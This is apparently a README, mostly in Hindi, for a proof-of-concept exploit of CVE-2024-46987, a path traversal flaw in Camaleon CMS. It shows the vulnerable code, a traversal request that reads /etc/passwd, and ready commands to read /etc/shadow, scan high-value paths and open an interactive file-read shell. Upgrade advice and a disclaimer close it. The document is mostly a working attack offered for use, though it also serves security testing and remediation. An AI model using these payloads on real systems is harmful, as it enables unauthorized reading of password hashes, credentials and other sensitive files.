
PoC exploit for CVE-2024-46987 — Camaleon CMS arbitrary path traversal (file read)
केवल अधिकृत सुरक्षा मूल्यांकन, पैठ परीक्षण कार्यों और शैक्षिक अनुसंधान के लिए।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2024-46987 |
| उत्पाद | Camaleon CMS |
| संस्करण | >= 2.8.0, < 2.8.2 (also confirmed on 2.9.0) |
| प्रकार | पथ ट्रैवर्सल / मनमाना फ़ाइल पठन (CWE-22) |
| प्रमाणीकरण | आवश्यक (कोई भी निम्न-विशेषाधिकार खाता) |
| CVSS | 7.7 उच्च — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| ठीक किया गया संस्करण | 2.8.2 |
MediaController#download_private_file params[:file] को बिना सैनिटाइज़ किए fetch_file में पास करता है:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
पथ सामान्यीकरण लागू नहीं किया जाता इससे पहले कि मान send_file के साथ उपयोग किया जाए, जिससे एक प्रमाणित हमलावर ../ अनुक्रमों का उपयोग करके private/ निर्देशिका से बाहर निकल सकता है और उन मनमानी फ़ाइलों को पढ़ सकता है जिन तक Rails प्रक्रिया की पहुँच अनुमति है।
भेद्य एंडपॉइंट:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requests लाइब्रेरीpip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Single file
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
/proc छद्म-फ़ाइलों पर नोट्स/proc/self/ के अंतर्गत फ़ाइलें (जैसे environ, cmdline) HTTP 200 लौटाती हैं लेकिन खाली बॉडी। यह अपेक्षित है — कर्नेल उनके आकार को 0 रिपोर्ट करता है, इसलिए Rails का send_file कुछ स्ट्रीम नहीं करता। इसके बजाय नियमित फ्लैट फ़ाइलों का उपयोग करें।
Camaleon CMS को संस्करण 2.8.2 या बाद के संस्करण में अपग्रेड करें। पैच उचित पथ सामान्यीकरण जोड़ता है और सुनिश्चित करता है कि send_file को कॉल करने से पहले हल किया गया पथ इच्छित निर्देशिका के भीतर रहे।
वैकल्पिक रूप से:
.. अनुक्रम वाले किसी भी इनपुट को अस्वीकार करें।यह प्रूफ-ऑफ-कॉन्सेप्ट शैक्षिक उद्देश्यों और सुरक्षा पेशेवरों को अधिकृत परीक्षण वातावरण में भेद्यता को समझने और पुन: उत्पन्न करने में सहायता करने के लिए प्रकाशित किया गया है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। जिन सिस्टमों के आप मालिक नहीं हैं, उनका परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें।
| फ़्लैग | विवरण |
|---|
-u | लक्ष्य आधार URL |
-U / -P | CMS उपयोगकर्ता नाम और पासवर्ड |
--cookie | रॉ कुकी स्ट्रिंग (क्रेडेंशियल्स का विकल्प) |
-f | पढ़ने के लिए फ़ाइल पथ (डिफ़ॉल्ट: /etc/passwd) |
-d | ट्रैवर्सल गहराई — ../ की संख्या प्रीपेंड की गई (डिफ़ॉल्ट: 10) |
--interesting | उच्च-मूल्य वाले पथों की अंतर्निहित सूची पर पुनरावृत्ति करें |
--interactive | इंटरैक्टिव फ़ाइल-पढ़ने का शेल |
--no-verify | TLS प्रमाणपत्र सत्यापन अक्षम करें |
--debug | प्रमाणीकरण विफलताओं का निदान करने के लिए विस्तृत आउटपुट |